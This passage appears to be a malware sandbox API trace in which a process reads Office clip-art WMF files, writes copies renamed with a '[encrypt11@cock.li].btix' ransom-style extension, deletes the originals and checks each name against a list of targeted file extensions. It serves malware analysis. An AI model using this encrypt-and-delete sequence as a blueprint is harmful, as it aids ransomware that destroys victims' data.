hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.153] SetEndOfFile (hFile=0x358) returned 1 [0155.154] CloseHandle (hObject=0x358) returned 1 [0155.154] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.154] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf")) returned 1 [0155.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0155.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0155.244] lstrlenW (lpString=".doc") returned 4 [0155.244] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.244] lstrlenW (lpString=".docx") returned 5 [0155.244] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0155.244] lstrlenW (lpString=".pdf") returned 4 [0155.244] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.244] lstrlenW (lpString=".xls") returned 4 [0155.244] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.244] lstrlenW (lpString=".xlsx") returned 5 [0155.244] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0155.244] lstrlenW (lpString=".ppt") returned 4 [0155.244] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0155.244] lstrlenW (lpString=".zip") returned 4 [0155.244] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.244] lstrlenW (lpString=".rar") returned 4 [0155.244] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.244] lstrlenW (lpString=".bz2") returned 4 [0155.244] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.244] lstrlenW (lpString=".7z") returned 3 [0155.244] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0155.244] lstrlenW (lpString=".dbf") returned 4 [0155.244] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0155.245] lstrlenW (lpString=".1cd") returned 4 [0155.245] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0155.245] lstrlenW (lpString=".jpg") returned 4 [0155.245] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.245] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.245] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0155.246] GetLastError () returned 0x0 [0155.246] ReadFile (in: hFile=0x37c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x40f8, lpOverlapped=0x0) returned 1 [0155.273] WriteFile (in: hFile=0x3a4, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x4100, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x4100, lpOverlapped=0x0) returned 1 [0155.273] ReadFile (in: hFile=0x37c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.274] WriteFile (in: hFile=0x3a4, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.274] SetEndOfFile (hFile=0x3a4) returned 1 [0155.279] CloseHandle (hObject=0x3a4) returned 1 [0155.282] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.282] SetEndOfFile (hFile=0x37c) returned 1 [0155.283] CloseHandle (hObject=0x37c) returned 1 [0155.283] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.283] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf")) returned 1 [0155.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0155.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0155.284] lstrlenW (lpString=".doc") returned 4 [0155.284] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.284] lstrlenW (lpString=".docx") returned 5 [0155.284] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0155.284] lstrlenW (lpString=".pdf") returned 4 [0155.284] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.284] lstrlenW (lpString=".xls") returned 4 [0155.284] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.284] lstrlenW (lpString=".xlsx") returned 5 [0155.284] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0155.284] lstrlenW (lpString=".ppt") returned 4 [0155.284] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0155.284] lstrlenW (lpString=".zip") returned 4 [0155.284] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.284] lstrlenW (lpString=".rar") returned 4 [0155.285] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.285] lstrlenW (lpString=".bz2") returned 4 [0155.285] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.285] lstrlenW (lpString=".7z") returned 3 [0155.285] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0155.285] lstrlenW (lpString=".dbf") returned 4 [0155.285] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0155.285] lstrlenW (lpString=".1cd") returned 4 [0155.285] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0155.285] lstrlenW (lpString=".jpg") returned 4 [0155.285] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.322] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.322] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0155.429] GetLastError () returned 0x0 [0155.429] ReadFile (in: hFile=0x364, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x6688, lpOverlapped=0x0) returned 1 [0155.481] WriteFile (in: hFile=0x34c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x6690, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x6690, lpOverlapped=0x0) returned 1 [0155.482] ReadFile (in: hFile=0x364, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.482] WriteFile (in: hFile=0x34c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.482] SetEndOfFile (hFile=0x34c) returned 1 [0155.483] CloseHandle (hObject=0x34c) returned 1 [0155.483] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.483] SetEndOfFile (hFile=0x364) returned 1 [0155.483] CloseHandle (hObject=0x364) returned 1 [0155.484] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.484] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf")) returned 1 [0155.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0155.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0155.485] lstrlenW (lpString=".doc") returned 4 [0155.485] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.485] lstrlenW (lpString=".docx") returned 5 [0155.485] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0155.485] lstrlenW (lpString=".pdf") returned 4 [0155.485] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.485] lstrlenW (lpString=".xls") returned 4 [0155.485] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.485] lstrlenW (lpString=".xlsx") returned 5 [0155.485] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0155.485] lstrlenW (lpString=".ppt") returned 4 [0155.485] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0155.485] lstrlenW (lpString=".zip") returned 4 [0155.485] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.485] lstrlenW (lpString=".rar") returned 4 [0155.485] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.485] lstrlenW (lpString=".bz2") returned 4 [0155.485] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.485] lstrlenW (lpString=".7z") returned 3 [0155.485] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0155.485] lstrlenW (lpString=".dbf") returned 4 [0155.485] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0155.485] lstrlenW (lpString=".1cd") returned 4 [0155.485] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0155.485] lstrlenW (lpString=".jpg") returned 4 [0155.485] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.486] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.486] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0155.486] GetLastError () returned 0x0 [0155.486] ReadFile (in: hFile=0x364, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x1ea8, lpOverlapped=0x0) returned 1 [0155.504] WriteFile (in: hFile=0x34c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x1eb0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x1eb0, lpOverlapped=0x0) returned 1 [0155.505] ReadFile (in: hFile=0x364, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.505] WriteFile (in: hFile=0x34c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.505] SetEndOfFile (hFile=0x34c) returned 1 [0155.524] CloseHandle (hObject=0x34c) returned 1 [0155.535] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.535] SetEndOfFile (hFile=0x364) returned 1 [0155.535] CloseHandle (hObject=0x364) returned 1 [0155.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.536] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf")) returned 1 [0155.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0155.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0155.536] lstrlenW (lpString=".doc") returned 4 [0155.536] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.536] lstrlenW (lpString=".docx") returned 5 [0155.536] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0155.536] lstrlenW (lpString=".pdf") returned 4 [0155.536] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.536] lstrlenW (lpString=".xls") returned 4 [0155.536] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.536] lstrlenW (lpString=".xlsx") returned 5 [0155.537] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0155.537] lstrlenW (lpString=".ppt") returned 4 [0155.537] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0155.537] lstrlenW (lpString=".zip") returned 4 [0155.537] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.537] lstrlenW (lpString=".rar") returned 4 [0155.537] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.537] lstrlenW (lpString=".bz2") returned 4 [0155.537] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.537] lstrlenW (lpString=".7z") returned 3 [0155.537] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0155.537] lstrlenW (lpString=".dbf") returned 4 [0155.537] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0155.537] lstrlenW (lpString=".1cd") returned 4 [0155.537] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0155.537] lstrlenW (lpString=".jpg") returned 4 [0155.537] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.567] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.567] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153273.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0155.567] GetLastError () returned 0x0 [0155.567] ReadFile (in: hFile=0x364, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x4e80, lpOverlapped=0x0) returned 1 [0155.602] WriteFile (in: hFile=0x3a4, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x4e90, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x4e90, lpOverlapped=0x0) returned 1 [0155.603] ReadFile (in: hFile=0x364, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.603] WriteFile (in: hFile=0x3a4, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.603] SetEndOfFile (hFile=0x3a4) returned 1 [0155.603] CloseHandle (hObject=0x3a4) returned 1 [0155.604] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.604] SetEndOfFile (hFile=0x364) returned 1 [0155.604] CloseHandle (hObject=0x364) returned 1 [0155.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.605] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153273.wmf")) returned 1 [0155.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68 [0155.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68 [0155.607] lstrlenW (lpString=".doc") returned 4 [0155.607] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.607] lstrlenW (lpString=".docx") returned 5 [0155.607] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0155.607] lstrlenW (lpString=".pdf") returned 4 [0155.607] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.607] lstrlenW (lpString=".xls") returned 4 [0155.607] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.607] lstrlenW (lpString=".xlsx") returned 5 [0155.607] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0155.607] lstrlenW (lpString=".ppt") returned 4 [0155.607] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68 [0155.607] lstrlenW (lpString=".zip") returned 4 [0155.608] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.608] lstrlenW (lpString=".rar") returned 4 [0155.608] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.608] lstrlenW (lpString=".bz2") returned 4 [0155.608] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.608] lstrlenW (lpString=".7z") returned 3 [0155.608] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68 [0155.608] lstrlenW (lpString=".dbf") returned 4 [0155.608] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68 [0155.608] lstrlenW (lpString=".1cd") returned 4 [0155.608] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68 [0155.608] lstrlenW (lpString=".jpg") returned 4 [0155.608] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.609] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.609] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153398.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0155.614] GetLastError () returned 0x0 [0155.614] ReadFile (in: hFile=0x3a4, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x4464, lpOverlapped=0x0) returned 1 [0155.621] WriteFile (in: hFile=0x37c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x4470, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x4470, lpOverlapped=0x0) returned 1 [0155.622] ReadFile (in: hFile=0x3a4, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.622] WriteFile (in: hFile=0x37c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.622] SetEndOfFile (hFile=0x37c) returned 1 [0155.632] CloseHandle (hObject=0x37c) returned 1 [0155.632] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.632] SetEndOfFile (hFile=0x3a4) returned 1 [0155.636] CloseHandle (hObject=0x3a4) returned 1 [0155.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.636] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153398.wmf")) returned 1 [0155.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68 [0155.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68 [0155.636] lstrlenW (lpString=".doc") returned 4 [0155.636] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.636] lstrlenW (lpString=".docx") returned 5 [0155.636] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0155.636] lstrlenW (lpString=".pdf") returned 4 [0155.637] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.637] lstrlenW (lpString=".xls") returned 4 [0155.637] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.637] lstrlenW (lpString=".xlsx") returned 5 [0155.637] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0155.637] lstrlenW (lpString=".ppt") returned 4 [0155.637] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68 [0155.637] lstrlenW (lpString=".zip") returned 4 [0155.637] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.637] lstrlenW (lpString=".rar") returned 4 [0155.637] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.637] lstrlenW (lpString=".bz2") returned 4 [0155.637] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.637] lstrlenW (lpString=".7z") returned 3 [0155.637] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.637] lstrlenW (lpString="C:\\Program Files\\Microsoft 